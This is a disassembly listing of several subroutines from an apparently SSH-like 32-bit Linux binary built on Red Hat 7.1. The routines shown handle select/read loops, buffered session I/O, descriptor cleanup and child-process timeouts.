0805284e  e8 69 75 ff ff     call    08049dbc <select>
08052853  89 c3              mov     %eax,%ebx
08052855  83 c4 20           add     $0x20,%esp
08052858  85 db              test    %ebx,%ebx
0805285a  79 3b              jns     08052897 <Unknown0070+0x97>
0805285c  e8 db 75 ff ff     call    08049e3c <__errno_location>
08052861  8b 00              mov     (%eax),%eax
08052863  83 f8 04           cmp     $0x4,%eax
08052866  74 19              je      08052881 <Unknown0070+0x81>
08052868  83 ec 0c           sub     $0xc,%esp
0805286b  50                 push    %eax
0805286c  e8 7b 75 ff ff     call    08049dec <strerror>
08052871  5f                 pop     %edi
08052872  5a                 pop     %edx
08052873  50                 push    %eax
08052874  68 7c f7 06 08     push    $0x806f77c  ;[in .rodata] 1701602675 'x73 x65 x6c x65' "select:
                                                                %.100s"
08052879  e8 8a d5 ff ff     call    0804fe08 <Unknown0040>
0805287e  83 c4 10           add     $0x10,%esp
08052881  ba 20 00 00 00     mov     $0x20,%edx  ;32 'x20 x0 x0 x0' " "
08052886  31 c0              xor     %eax,%eax
08052888  89 d1              mov     %edx,%ecx
0805288a  89 f7              mov     %esi,%edi
0805288c  fc                 cld
0805288d  f3 ab              repz stos %eax,%es:(%edi)
0805288f  89 d1              mov     %edx,%ecx
08052891  8b 7d 0c           mov     0xc(%ebp),%edi
08052894  fc                 cld
08052895  f3 ab              repz stos %eax,%es:(%edi)
08052897  85 db              test    %ebx,%ebx
08052899  0f 8f a9 00 00 00  jg      08052948 <Unknown0070+0x148>  ;169 'xa9 x0 x0 x0' ""
0805289f  a1 88 9c 07 08     mov     0x8079c88,%eax  ;[in .bss] 1210082405 'x65 x64 x20 x48' "ed Hat
                                                                Linux 7.1 2.96-81)"
080528a4  85 c0              test    %eax,%eax
080528a6  0f 84 9c 00 00 00  je      08052948 <Unknown0070+0x148>  ;156 'x9c x0 x0 x0' ""
080528ac  8b 35 90 9c 07 08  mov     0x8079c90,%esi  ;[in .bss] 2020961897 'x69 x6e x75 x78' "inux 7.1
                                                                2.96-81)"
080528b2  85 f6              test    %esi,%esi
080528b4  0f 85 8e 00 00 00  jne     08052948 <Unknown0070+0x148>  ;142 'x8e x0 x0 x0' ""
080528ba  8b 4d 14           mov     0x14(%ebp),%ecx
080528bd  85 c9              test    %ecx,%ecx
080528bf  74 0e              je      080528cf <Unknown0070+0xcf>
080528c1  83 ec 0c           sub     $0xc,%esp
080528c4  ff 75 14           pushl   0x14(%ebp)
080528c7  e8 e8 a5 ff ff     call    0804ceb4 <Unknown0014>
080528cc  83 c4 10           add     $0x10,%esp
080528cf  a1 6c 9c 07 08     mov     0x8079c6c,%eax  ;[in .bss] 1128482560 'x0 x47 x43 x43' ""
080528d4  83 f8 ff           cmp     $0xffffffff,%eax
080528d7  74 20              je      080528f9 <Unknown0070+0xf9>
080528d9  8b 15 10 7e 07 08  mov     0x8077e10,%edx  ;[in .data] 0 'x0 x0 x0 x0' ""
080528df  85 d2              test    %edx,%edx
080528e1  74 16              je      080528f9 <Unknown0070+0xf9>
080528e3  83 ec 0c           sub     $0xc,%esp
080528e6  50                 push    %eax
080528e7  e8 f0 73 ff ff     call    08049cdc <close>
080528ec  83 c4 10           add     $0x10,%esp
080528ef  c7 05 6c 9c 07 08 ff ff ff ff  movl   $0xffffffff,0x8079c6c  ;-1 'xff xff xff xff' ""
080528f9  a1 70 9c 07 08     mov     0x8079c70,%eax  ;[in .bss] 1193812026 'x3a x20 x28 x47' ": (GNU)
                                                                2.96 20000731 (Red Hat Linux 7.1 2.96-81)"
080528fe  83 f8 ff           cmp     $0xffffffff,%eax
08052901  74 20              je      08052923 <Unknown0070+0x123>
08052903  8b 3d 14 7e 07 08  mov     0x8077e14,%edi  ;[in .data] 0 'x0 x0 x0 x0' ""
08052909  85 ff              test    %edi,%edi
0805290b  74 16              je      08052923 <Unknown0070+0x123>
```

```
0805290d  83 ec 0c                       sub     $0xc,%esp
08052910  50                             push    %eax
08052911  e8 c6 73 ff ff                 call    08049cdc <close>
08052916  83 c4 10                       add     $0x10,%esp
08052919  c7 05 70 9c 07 08 ff ff ff ff  movl    $0xffffffff,0x8079c70  ;-1 'xff xff xff xff' ""
08052923  a1 68 9c 07 08                 mov     0x8079c68,%eax  ;[in .bss] 2701623 'x37 x39 x29 x0' "79)"
08052928  83 f8 ff                       cmp     $0xffffffff,%eax
0805292b  74 0c                          je      08052939 <Unknown0070+0x139>
0805292d  83 ec 0c                       sub     $0xc,%esp
08052930  50                             push    %eax
08052931  e8 a6 73 ff ff                 call    08049cdc <close>
08052936  83 c4 10                       add     $0x10,%esp
08052939  c7 05 68 9c 07 08 ff ff ff ff  movl    $0xffffffff,0x8079c68  ;-1 'xff xff xff xff' ""
08052943  e9 7e 00 00 00                 jmp     080529c6 <Unknown0070+0x1c6>  ;126 'x7e x0 x0 x0' "~"
08052948  85 db                          test    %ebx,%ebx
0805294a  75 68                          jne     080529b4 <Unknown0070+0x1b4>
0805294c  8b 35 b0 7b 07 08              mov     0x8077bb0,%esi  ;[in .data] 0 'x0 x0 x0 x0' ""
08052952  85 f6                          test    %esi,%esi
08052954  74 70                          je      080529c6 <Unknown0070+0x1c6>
08052956  a1 88 9c 07 08                 mov     0x8079c88,%eax  ;[in .bss] 1210082405 'x65 x64 x20 x48' "ed Hat
                                                                     Linux 7.1 2.96-81)"
0805295b  85 c0                          test    %eax,%eax
0805295d  75 67                          jne     080529c6 <Unknown0070+0x1c6>
0805295f  83 ec 0c                       sub     $0xc,%esp
08052962  6a 00                          push    $0x0
08052964  e8 23 77 ff ff                 call    0804a08c <time>
08052969  2b 05 f8 7d 07 08              sub     0x8077df8,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
0805296f  83 c4 10                       add     $0x10,%esp
08052972  3b 05 b0 7b 07 08              cmp     0x8077bb0,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
08052978  7e 4c                          jle     080529c6 <Unknown0070+0x1c6>
0805297a  83 ec 08                       sub     $0x8,%esp
0805297d  6a 01                          push    $0x1
0805297f  ff 35 84 9c 07 08              pushl   0x8079c84  ;[in .bss] 1378361393 'x31 x20 x28 x52' "1 (Red Hat
                                                                     Linux 7.1 2.96-81)"
08052985  e8 a2 7a ff ff                 call    0804a42c <kill>
0805298a  c7 04 24 05 00 00 00           movl    $0x5,(%esp,1)  ;5 'x5 x0 x0 x0' ""
08052991  e8 46 77 ff ff                 call    0804a0dc <sleep>
08052996  a1 88 9c 07 08                 mov     0x8079c88,%eax  ;[in .bss] 1210082405 'x65 x64 x20 x48' "ed Hat
                                                                     Linux 7.1 2.96-81)"
0805299b  83 c4 10                       add     $0x10,%esp
0805299e  85 c0                          test    %eax,%eax
080529a0  75 24                          jne     080529c6 <Unknown0070+0x1c6>
080529a2  83 ec 08                       sub     $0x8,%esp
080529a5  6a 09                          push    $0x9
080529a7  ff 35 84 9c 07 08              pushl   0x8079c84  ;[in .bss] 1378361393 'x31 x20 x28 x52' "1 (Red Hat
                                                                     Linux 7.1 2.96-81)"
080529ad  e8 7a 7a ff ff                 call    0804a42c <kill>
080529b2  eb 0f                          jmp     080529c3 <Unknown0070+0x1c3>
080529b4  83 ec 0c                       sub     $0xc,%esp
080529b7  6a 00                          push    $0x0
080529b9  e8 ce 76 ff ff                 call    0804a08c <time>
080529be  a3 f8 7d 07 08                 mov     %eax,0x8077df8  ;[in .data] 0 'x0 x0 x0 x0' ""
080529c3  83 c4 10                       add     $0x10,%esp
080529c6  8d 65 f4                       lea     0xfffffff4(%ebp),%esp
080529c9  5b                             pop     %ebx
080529ca  5e                             pop     %esi
080529cb  5f                             pop     %edi
080529cc  5d                             pop     %ebp
080529cd  c3                             ret
080529ce  89 f6                          mov     %esi,%esi


  ;
  ; >--------------------<  Subroutine #  71 >--------------------<
  ;
080529d0 <Unknown0071>:
080529d0  55                             push    %ebp
080529d1  89 e5                          mov     %esp,%ebp
080529d3  57                             push    %edi
080529d4  56                             push    %esi
080529d5  8b 0d 74 9c 07 08              mov     0x8079c74,%ecx  ;[in .bss] 539579726 'x4e x55 x29 x20' "NU) 2.96
                                                                     20000731 (Red Hat Linux 7.1 2.96-81)"
080529db  53                             push    %ebx
080529dc  89 c8                          mov     %ecx,%eax
080529de  89 ca                          mov     %ecx,%edx
080529e0  81 ec 0c 40 00 00              sub     $0x400c,%esp  ;16396 'xc x40 x0 x0' ""
080529e6  83 e0 1f                       and     $0x1f,%eax
080529e9  8b 7d 08                       mov     0x8(%ebp),%edi
080529ec  c1 ea 05                       shr     $0x5,%edx
080529ef  0f a3 04 97                    bt      %eax,(%edi,%edx,4)
080529f3  0f 92 c0                       setb    %al
080529f6  84 c0                          test    %al,%al
080529f8  74 7e                          je      08052a78 <Unknown0071+0xa8>
080529fa  50                             push    %eax
```

```
080529fb  68 00 40 00 00           push    $0x4000   ;16384 'x0 x40 x0 x0' ""
08052a00  8d 85 e8 bf ff ff        lea     0xffffbfe8(%ebp),%eax  ;-16408 'xe8 xbf xff xff' ""
08052a06  50                       push    %eax
08052a07  51                       push    %ecx
08052a08  e8 9f 7a ff ff           call    0804a4ac <read>
08052a0d  89 c3                    mov     %eax,%ebx
08052a0f  83 c4 10                 add     $0x10,%esp
08052a12  85 db                    test    %ebx,%ebx
08052a14  75 12                    jne     08052a28 <Unknown0071+0x58>
08052a16  83 ec 08                 sub     $0x8,%esp
08052a19  68 a0 f7 06 08           push    $0x806f7a0  ;[in .rodata] 1852731203 'x43 x6f x6e x6e' "Connection
                                                         closed by remote host."
08052a1e  6a 01                    push    $0x1
08052a20  e8 cb d5 ff ff           call    0804fff0 <Unknown0045>
08052a25  83 c4 10                 add     $0x10,%esp
08052a28  85 db                    test    %ebx,%ebx
08052a2a  79 12                    jns     08052a3e <Unknown0071+0x6e>
08052a2c  e8 0b 74 ff ff           call    08049e3c <__errno_location>
08052a31  8b 10                    mov     (%eax),%edx
08052a33  31 c0                    xor     %eax,%eax
08052a35  83 fa 0b                 cmp     $0xb,%edx
08052a38  0f 94 c0                 sete    %al
08052a3b  48                       dec     %eax
08052a3c  21 c3                    and     %eax,%ebx
08052a3e  85 db                    test    %ebx,%ebx
08052a40  79 23                    jns     08052a65 <Unknown0071+0x95>
08052a42  83 ec 10                 sub     $0x10,%esp
08052a45  e8 f2 73 ff ff           call    08049e3c <__errno_location>
08052a4a  5e                       pop     %esi
08052a4b  ff 30                    pushl   (%eax)
08052a4d  e8 9a 73 ff ff           call    08049dec <strerror>
08052a52  83 c4 0c                 add     $0xc,%esp
08052a55  50                       push    %eax
08052a56  68 e0 f7 06 08           push    $0x806f7e0  ;[in .rodata] 1684104530 'x52 x65 x61 x64' "Read error
                                                         from remote host: %.100s"
08052a5b  6a 01                    push    $0x1
08052a5d  e8 8e d5 ff ff           call    0804fff0 <Unknown0045>
08052a62  83 c4 10                 add     $0x10,%esp
08052a65  83 ec 08                 sub     $0x8,%esp
08052a68  53                       push    %ebx
08052a69  8d 85 e8 bf ff ff        lea     0xffffbfe8(%ebp),%eax  ;-16408 'xe8 xbf xff xff' ""
08052a6f  50                       push    %eax
08052a70  e8 47 3c 00 00           call    080566bc <Unknown0148>
08052a75  83 c4 10                 add     $0x10,%esp
08052a78  8b 0d 10 7e 07 08        mov     0x8077e10,%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
08052a7e  85 c9                    test    %ecx,%ecx
08052a80  75 5c                    jne     08052ade <Unknown0071+0x10e>
08052a82  8b 0d 6c 9c 07 08        mov     0x8079c6c,%ecx  ;[in .bss] 1128482560 'x0 x47 x43 x43' ""
08052a88  89 c8                    mov     %ecx,%eax
08052a8a  89 ca                    mov     %ecx,%edx
08052a8c  83 e0 1f                 and     $0x1f,%eax
08052a8f  c1 ea 05                 shr     $0x5,%edx
08052a92  0f a3 04 97              bt      %eax,(%edi,%edx,4)
08052a96  0f 92 c0                 setb    %al
08052a99  84 c0                    test    %al,%al
08052a9b  74 41                    je      08052ade <Unknown0071+0x10e>
08052a9d  52                       push    %edx
08052a9e  68 00 40 00 00           push    $0x4000   ;16384 'x0 x40 x0 x0' ""
08052aa3  8d b5 e8 bf ff ff        lea     0xffffbfe8(%ebp),%esi  ;-16408 'xe8 xbf xff xff' ""
08052aa9  56                       push    %esi
08052aaa  51                       push    %ecx
08052aab  e8 fc 79 ff ff           call    0804a4ac <read>
08052ab0  89 c3                    mov     %eax,%ebx
08052ab2  83 c4 10                 add     $0x10,%esp
08052ab5  85 db                    test    %ebx,%ebx
08052ab7  7f 0f                    jg      08052ac8 <Unknown0071+0xf8>
08052ab9  c7 05 10 7e 07 08 01 00 00 00  movl  $0x1,0x8077e10  ;1 'x1 x0 x0 x0' ""
08052ac3  eb 19                    jmp     08052ade <Unknown0071+0x10e>
08052ac5  8d 76 00                 lea     0x0(%esi),%esi
08052ac8  50                       push    %eax
08052ac9  53                       push    %ebx
08052aca  56                       push    %esi
08052acb  68 48 9c 07 08           push    $0x8079c48  ;[in .bss] 808464432 'x30 x30 x30 x30' "0000731 (Red
                                                         Hat Linux 7.1 2.96-79)"
08052ad0  e8 af 2e 00 00           call    08055984 <Unknown0117>
08052ad5  83 c4 10                 add     $0x10,%esp
08052ad8  01 1d 08 7e 07 08        add     %ebx,0x8077e08  ;[in .data] 0 'x0 x0 x0 x0' ""
08052ade  8b 0d 14 7e 07 08        mov     0x8077e14,%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
08052ae4  85 c9                    test    %ecx,%ecx
08052ae6  75 54                    jne     08052b3c <Unknown0071+0x16c>
08052ae8  8b 0d 70 9c 07 08        mov     0x8079c70,%ecx  ;[in .bss] 1193812026 'x3a x20 x28 x47' ": (GNU
                                                         2.96 20000731 (Red Hat Linux 7.1 2.96-81)"
08052aee  89 c8                    mov     %ecx,%eax
08052af0  89 ca                    mov     %ecx,%edx
```

```
08052af2  83 e0 1f                       and     $0x1f,%eax
08052af5  c1 ea 05                       shr     $0x5,%edx
08052af8  0f a3 04 97                    bt      %eax,(%edi,%edx,4)
08052afc  0f 92 c0                       setb    %al
08052aff  84 c0                          test    %al,%al
08052b01  74 39                          je      08052b3c <Unknown0071+0x16c>
08052b03  52                             push    %edx
08052b04  68 00 40 00 00                 push    $0x4000  ;16384 'x0 x40 x0 x0' ""
08052b09  8d b5 e8 bf ff ff              lea     0xffffbfe8(%ebp),%esi  ;-16408 'xe8 xbf xff xff' ""
08052b0f  56                             push    %esi
08052b10  51                             push    %ecx
08052b11  e8 96 79 ff ff                 call    0804a4ac <read>
08052b16  89 c3                          mov     %eax,%ebx
08052b18  83 c4 10                       add     $0x10,%esp
08052b1b  85 db                          test    %ebx,%ebx
08052b1d  7f 0d                          jg      08052b2c <Unknown0071+0x15c>
08052b1f  c7 05 14 7e 07 08 01 00 00 00  movl    $0x1,0x8077e14  ;1 'x1 x0 x0 x0' ""
08052b29  eb 11                          jmp     08052b3c <Unknown0071+0x16c>
08052b2b  90                             nop
08052b2c  50                             push    %eax
08052b2d  53                             push    %ebx
08052b2e  56                             push    %esi
08052b2f  68 58 9c 07 08                 push    $0x8079c58  ;[in .bss] 1852394528 'x20 x4c x69 x6e' " Linux 7.1
                                                             2.96-79)"
08052b34  e8 4b 2e 00 00                 call    08055984 <Unknown0117>
08052b39  83 c4 10                       add     $0x10,%esp
08052b3c  8d 65 f4                       lea     0xfffffff4(%ebp),%esp
08052b3f  5b                             pop     %ebx
08052b40  5e                             pop     %esi
08052b41  5f                             pop     %edi
08052b42  5d                             pop     %ebp
08052b43  c3                             ret


  ;
  ; >---------------------<  Subroutine #  72 >---------------------<
  ;
08052b44 <Unknown0072>:
08052b44  55                             push    %ebp
08052b45  89 e5                          mov     %esp,%ebp
08052b47  56                             push    %esi
08052b48  53                             push    %ebx
08052b49  8b 15 68 9c 07 08              mov     0x8079c68,%edx  ;[in .bss] 2701623 'x37 x39 x29 x0' "79)"
08052b4f  83 fa ff                       cmp     $0xffffffff,%edx
08052b52  8b 75 08                       mov     0x8(%ebp),%esi
08052b55  0f 84 bc 00 00 00              je      08052c17 <Unknown0072+0xd3>  ;188 'xbc x0 x0 x0' ""
08052b5b  89 d0                          mov     %edx,%eax
08052b5d  c1 e8 05                       shr     $0x5,%eax
08052b60  83 e2 1f                       and     $0x1f,%edx
08052b63  0f a3 14 86                    bt      %edx,(%esi,%eax,4)
08052b67  0f 92 c0                       setb    %al
08052b6a  84 c0                          test    %al,%al
08052b6c  0f 84 a5 00 00 00              je      08052c17 <Unknown0072+0xd3>  ;165 'xa5 x0 x0 x0' ""
08052b72  83 ec 0c                       sub     $0xc,%esp
08052b75  68 38 9c 07 08                 push    $0x8079c38  ;[in .bss] 540689219 'x43 x43 x3a x20' "CC: (GNU) 2.96
                                                             20000731 (Red Hat Linux 7.1 2.96-79)"
08052b7a  e8 c9 2e 00 00                 call    08055a48 <Unknown0119>
08052b7f  83 c4 0c                       add     $0xc,%esp
08052b82  50                             push    %eax
08052b83  53                             push    %ebx
08052b84  68 38 9c 07 08                 push    $0x8079c38  ;[in .bss] 540689219 'x43 x43 x3a x20' "CC: (GNU) 2.96
                                                             20000731 (Red Hat Linux 7.1 2.96-79)"
08052b89  e8 7e 2f 00 00                 call    08055b0c <Unknown0123>
08052b8e  5a                             pop     %edx
08052b8f  59                             pop     %ecx
08052b90  50                             push    %eax
08052b91  ff 35 68 9c 07 08              pushl   0x8079c68  ;[in .bss] 2701623 'x37 x39 x29 x0' "79)"
08052b97  e8 10 71 ff ff                 call    08049cac <write>
08052b9c  89 c3                          mov     %eax,%ebx
08052b9e  83 c4 10                       add     $0x10,%esp
08052ba1  85 db                          test    %ebx,%ebx
08052ba3  7f 5b                          jg      08052c00 <Unknown0072+0xbc>
08052ba5  e8 92 72 ff ff                 call    08049e3c <__errno_location>
08052baa  8b 00                          mov     (%eax),%eax
08052bac  83 f8 0b                       cmp     $0xb,%eax
08052baf  74 66                          je      08052c17 <Unknown0072+0xd3>
08052bb1  83 ec 0c                       sub     $0xc,%esp
08052bb4  50                             push    %eax
08052bb5  e8 32 72 ff ff                 call    08049dec <strerror>
08052bba  83 c4 0c                       add     $0xc,%esp
08052bbd  50                             push    %eax
08052bbe  53                             push    %ebx
08052bbf  68 20 f8 06 08                 push    $0x806f820  ;[in .rodata] 1668248144 'x50 x72 x6f x63'
```

"Process_output: write to fdin
failed, len = %d : %.50s"

```
08052bc4   e8 b7 d1 ff ff           call    0804fd80 <Unknown0039>
08052bc9   a1 68 9c 07 08           mov     0x8079c68,%eax   ;[in .bss] 2701623 'x37 x39 x29 x0' "79)"
08052bce   83 c4 10                 add     $0x10,%esp
08052bd1   3b 05 6c 9c 07 08        cmp     0x8079c6c,%eax   ;[in .bss] 1128482560 'x0 x47 x43 x43' ""
08052bd7   75 0f                    jne     08052be8 <Unknown0072+0xa4>
08052bd9   83 ec 08                 sub     $0x8,%esp
08052bdc   6a 01                    push    $0x1
08052bde   50                       push    %eax
08052bdf   e8 d8 72 ff ff           call    08049ebc <shutdown>
08052be4   eb 0b                    jmp     08052bf1 <Unknown0072+0xad>
08052be6   89 f6                    mov     %esi,%esi
08052be8   83 ec 0c                 sub     $0xc,%esp
08052beb   50                       push    %eax
08052bec   e8 eb 70 ff ff           call    08049cdc <close>
08052bf1   83 c4 10                 add     $0x10,%esp
08052bf4   c7 05 68 9c 07 08 ff ff ff ff   movl    $0xffffffff,0x8079c68   ;-1 'xff xff xff xff' ""
08052bfe   eb 17                    jmp     08052c17 <Unknown0072+0xd3>
08052c00   83 ec 08                 sub     $0x8,%esp
08052c03   53                       push    %ebx
08052c04   68 38 9c 07 08           push    $0x8079c38   ;[in .bss] 540689219 'x43 x43 x3a x20' "CC: (GNU) 2.96
                                                          20000731 (Red Hat Linux 7.1 2.96-79)"
08052c09   e8 8e 2e 00 00           call    08055a9c <Unknown0121>
08052c0e   83 c4 10                 add     $0x10,%esp
08052c11   01 1d fc 7d 07 08        add     %ebx,0x8077dfc   ;[in .data] 0 'x0 x0 x0 x0' ""
08052c17   a1 78 9c 07 08           mov     0x8079c78,%eax   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96
                                                             20000731 (Red Hat Linux 7.1 2.96-81)"
08052c1c   89 c2                    mov     %eax,%edx
08052c1e   c1 ea 05                 shr     $0x5,%edx
08052c21   83 e0 1f                 and     $0x1f,%eax
08052c24   0f a3 04 96              bt      %eax,(%esi,%edx,4)
08052c28   0f 92 c0                 setb    %al
08052c2b   84 c0                    test    %al,%al
08052c2d   74 0d                    je      08052c3c <Unknown0072+0xf8>
08052c2f   8d 65 f8                 lea     0xfffffff8(%ebp),%esp
08052c32   5b                       pop     %ebx
08052c33   5e                       pop     %esi
08052c34   5d                       pop     %ebp
08052c35   e9 3a 3c 00 00           jmp     08056874 <Unknown0158>   ;15418 'x3a x3c x0 x0' ":<"
08052c3a   89 f6                    mov     %esi,%esi
08052c3c   8d 65 f8                 lea     0xfffffff8(%ebp),%esp
08052c3f   5b                       pop     %ebx
08052c40   5e                       pop     %esi
08052c41   5d                       pop     %ebp
08052c42   c3                       ret
08052c43   90                       nop


  ;
  ; >--------------------<  Subroutine #  73 >--------------------<
  ;
08052c44 <Unknown0073>:
08052c44   55                       push    %ebp
08052c45   89 e5                    mov     %esp,%ebp
08052c47   83 ec 14                 sub     $0x14,%esp
08052c4a   68 48 9c 07 08           push    $0x8079c48   ;[in .bss] 808464432 'x30 x30 x30 x30' "0000731 (Red
                                                          Hat Linux 7.1 2.96-79)"
08052c4f   e8 f4 2d 00 00           call    08055a48 <Unknown0119>
08052c54   83 c4 10                 add     $0x10,%esp
08052c57   85 c0                    test    %eax,%eax
08052c59   74 45                    je      08052ca0 <Unknown0073+0x5c>
08052c5b   83 ec 0c                 sub     $0xc,%esp
08052c5e   6a 11                    push    $0x11
08052c60   e8 af 33 00 00           call    08056014 <Unknown0138>
08052c65   c7 04 24 48 9c 07 08     movl    $0x8079c48,(%esp,1)   ;[in .bss] 808464432 'x30 x30 x30 x30'
                                                                   "0000731 (Red Hat Linux 7.1 2.96-79)"
08052c6c   e8 d7 2d 00 00           call    08055a48 <Unknown0119>
08052c71   5a                       pop     %edx
08052c72   59                       pop     %ecx
08052c73   50                       push    %eax
08052c74   68 48 9c 07 08           push    $0x8079c48   ;[in .bss] 808464432 'x30 x30 x30 x30' "0000731 (Red
                                                          Hat Linux 7.1 2.96-79)"
08052c79   e8 8e 2e 00 00           call    08055b0c <Unknown0123>
08052c7e   89 04 24                 mov     %eax,(%esp,1)
08052c81   e8 06 34 00 00           call    0805608c <Unknown0142>
08052c86   e8 31 34 00 00           call    080560bc <Unknown0144>
08052c8b   c7 04 24 48 9c 07 08     movl    $0x8079c48,(%esp,1)   ;[in .bss] 808464432 'x30 x30 x30 x30'
                                                                   "0000731 (Red Hat Linux 7.1 2.96-79)"
08052c92   e8 b1 2d 00 00           call    08055a48 <Unknown0119>
08052c97   01 05 00 7e 07 08        add     %eax,0x8077e00   ;[in .data] 0 'x0 x0 x0 x0' ""
08052c9d   83 c4 10                 add     $0x10,%esp
```

```
08052ca0  83 ec 0c                    sub     $0xc,%esp
08052ca3  68 58 9c 07 08              push    $0x8079c58  ;[in .bss] 1852394528 'x20 x4c x69 x6e' " Linux 7.1
                                                           2.96-79)"
08052ca8  e8 9b 2d 00 00              call    08055a48 <Unknown0119>
08052cad  83 c4 10                    add     $0x10,%esp
08052cb0  85 c0                       test    %eax,%eax
08052cb2  74 45                       je      08052cf9 <Unknown0073+0xb5>
08052cb4  83 ec 0c                    sub     $0xc,%esp
08052cb7  6a 12                       push    $0x12
08052cb9  e8 56 33 00 00              call    08056014 <Unknown0138>
08052cbe  c7 04 24 58 9c 07 08        movl    $0x8079c58,(%esp,1)  ;[in .bss] 1852394528 'x20 x4c x69 x6e' "
                                                           Linux 7.1 2.96-79)"
08052cc5  e8 7e 2d 00 00              call    08055a48 <Unknown0119>
08052cca  5a                          pop     %edx
08052ccb  59                          pop     %ecx
08052ccc  50                          push    %eax
08052ccd  68 58 9c 07 08              push    $0x8079c58  ;[in .bss] 1852394528 'x20 x4c x69 x6e' " Linux 7.1
                                                           2.96-79)"
08052cd2  e8 35 2e 00 00              call    08055b0c <Unknown0123>
08052cd7  89 04 24                    mov     %eax,(%esp,1)
08052cda  e8 ad 33 00 00              call    0805608c <Unknown0142>
08052cdf  e8 d8 33 00 00              call    080560bc <Unknown0144>
08052ce4  c7 04 24 58 9c 07 08        movl    $0x8079c58,(%esp,1)  ;[in .bss] 1852394528 'x20 x4c x69 x6e' "
                                                           Linux 7.1 2.96-79)"
08052ceb  e8 58 2d 00 00              call    08055a48 <Unknown0119>
08052cf0  01 05 04 7e 07 08           add     %eax,0x8077e04  ;[in .data] 0 'x0 x0 x0 x0' ""
08052cf6  83 c4 10                    add     $0x10,%esp
08052cf9  c9                          leave
08052cfa  e9 fd 3b 00 00              jmp     080568fc <Unknown0159>  ;15357 'xfd x3b x0 x0' ""
08052cff  90                          nop


  ;
  ; >---------------------<  Subroutine #  74 >---------------------<
  ;
08052d00 <Unknown0074>:
08052d00  55                          push    %ebp
08052d01  89 e5                       mov     %esp,%ebp
08052d03  57                          push    %edi
08052d04  56                          push    %esi
08052d05  53                          push    %ebx
08052d06  81 ec 28 01 00 00           sub     $0x128,%esp  ;296 'x28 x1 x0 x0' "("
08052d0c  68 57 f8 06 08              push    $0x806f857  ;[in .rodata] 1702129221 'x45 x6e x74 x65' "Entering
                                                           interactive session."
08052d11  8b 5d 0c                    mov     0xc(%ebp),%ebx
08052d14  8b 75 10                    mov     0x10(%ebp),%esi
08052d17  8b 7d 14                    mov     0x14(%ebp),%edi
08052d1a  c7 85 e0 fe ff ff 00 00 00 00  movl  $0x0,0xfffffee0(%ebp)  ;0 'x0 x0 x0 x0' ""
08052d24  e8 57 d0 ff ff              call    0804fd80 <Unknown0039>
08052d29  8b 45 08                    mov     0x8(%ebp),%eax
08052d2c  a3 84 9c 07 08              mov     %eax,0x8079c84  ;[in .bss] 1378361393 'x31 x20 x28 x52' "1 (Red Hat
                                                           Linux 7.1 2.96-81)"
08052d31  58                          pop     %eax
08052d32  5a                          pop     %edx
08052d33  68 d0 22 05 08              push    $0x80522d0  ;[in .bss] 1378361393 'x31 x20 x28 x52' "1 (Red Hat
                                                           Linux 7.1 2.96-81)"
08052d38  6a 11                       push    $0x11
08052d3a  c7 05 88 9c 07 08 00 00 00 00  movl  $0x0,0x8079c88  ;0 'x0 x0 x0 x0' ""
08052d44  e8 f3 6f ff ff              call    08049d3c <signal>
08052d49  c7 04 24 00 00 00 00        movl    $0x0,(%esp,1)  ;0 'x0 x0 x0 x0' ""
08052d50  e8 37 73 ff ff              call    0804a08c <time>
08052d55  a3 f8 7d 07 08              mov     %eax,0x8077df8  ;[in .data] 0 'x0 x0 x0 x0' ""
08052d5a  89 1d 68 9c 07 08          mov     %ebx,0x8079c68  ;[in .bss] 2701623 'x37 x39 x29 x0' "79)"
08052d60  89 35 6c 9c 07 08          mov     %esi,0x8079c6c  ;[in .bss] 1128482560 'x0 x47 x43 x43' ""
08052d66  89 3d 70 9c 07 08          mov     %edi,0x8079c70  ;[in .bss] 1193812026 'x3a x20 x28 x47' ": (GNU)
                                                           2.96 20000731 (Red Hat Linux 7.1 2.96-81)"
08052d6c  e8 f3 2f 00 00              call    08055d64 <Unknown0129>
08052d71  a3 74 9c 07 08              mov     %eax,0x8079c74  ;[in .bss] 539579726 'x4e x55 x29 x20' "NU) 2.96
                                                           20000731 (Red Hat Linux 7.1 2.96-81)"
08052d76  e8 f5 2f 00 00              call    08055d70 <Unknown0130>
08052d7b  c7 04 24 00 00 00 00        movl    $0x0,(%esp,1)  ;0 'x0 x0 x0 x0' ""
08052d82  a3 78 9c 07 08             mov     %eax,0x8079c78  ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96
                                                           20000731 (Red Hat Linux 7.1 2.96-81)"
08052d87  c7 85 d8 fe ff ff 00 00 00 00  movl  $0x0,0xffffffed8(%ebp)  ;0 'x0 x0 x0 x0' ""
08052d91  e8 f6 72 ff ff              call    0804a08c <time>
08052d96  a3 f8 7d 07 08              mov     %eax,0x8077df8  ;[in .data] 0 'x0 x0 x0 x0' ""
08052d9b  e8 bc 3d 00 00              call    08056b5c <Unknown0163>
08052da0  83 c4 10                    add     $0x10,%esp
08052da3  31 d2                       xor     %edx,%edx
08052da5  85 c0                       test    %eax,%eax
08052da7  0f 94 c2                    sete    %dl
08052daa  4a                          dec     %edx
08052dab  81 e2 00 10 ff ff           and     $0xffff1000,%edx  ;-61440 'x0 x10 xff xff' ""
```

```
08052db1  81 c2 00 00 01 00        add    $0x10000,%edx   ;65536 'x0 x0 x1 x0' ""
08052db7  a1 68 9c 07 08           mov    0x8079c68,%eax  ;[in .bss] 2701623 'x37 x39 x29 x0' "79)"
08052dbc  89 15 7c 9c 07 08        mov    %edx,0x8079c7c  ;[in .bss] 808464928 'x20 x32 x30 x30' " 20000731
                                                           (Red Hat Linux 7.1 2.96-81)"
08052dc2  8b 15 6c 9c 07 08        mov    0x8079c6c,%edx  ;[in .bss] 1128482560 'x0 x47 x43 x43' ""
08052dc8  39 c2                    cmp    %eax,%edx
08052dca  a3 80 9c 07 08           mov    %eax,0x8079c80  ;[in .bss] 859254832 'x30 x30 x37 x33' "00731 (Red
                                                           Hat Linux 7.1 2.96-81)"
08052dcf  7e 06                    jle    08052dd7 <Unknown0074+0xd7>
08052dd1  89 15 80 9c 07 08        mov    %edx,0x8079c80  ;[in .bss] 859254832 'x30 x30 x37 x33' "00731 (Red
                                                           Hat Linux 7.1 2.96-81)"
08052dd7  a1 70 9c 07 08           mov    0x8079c70,%eax  ;[in .bss] 1193812026 'x3a x20 x28 x47' ": (GNU)
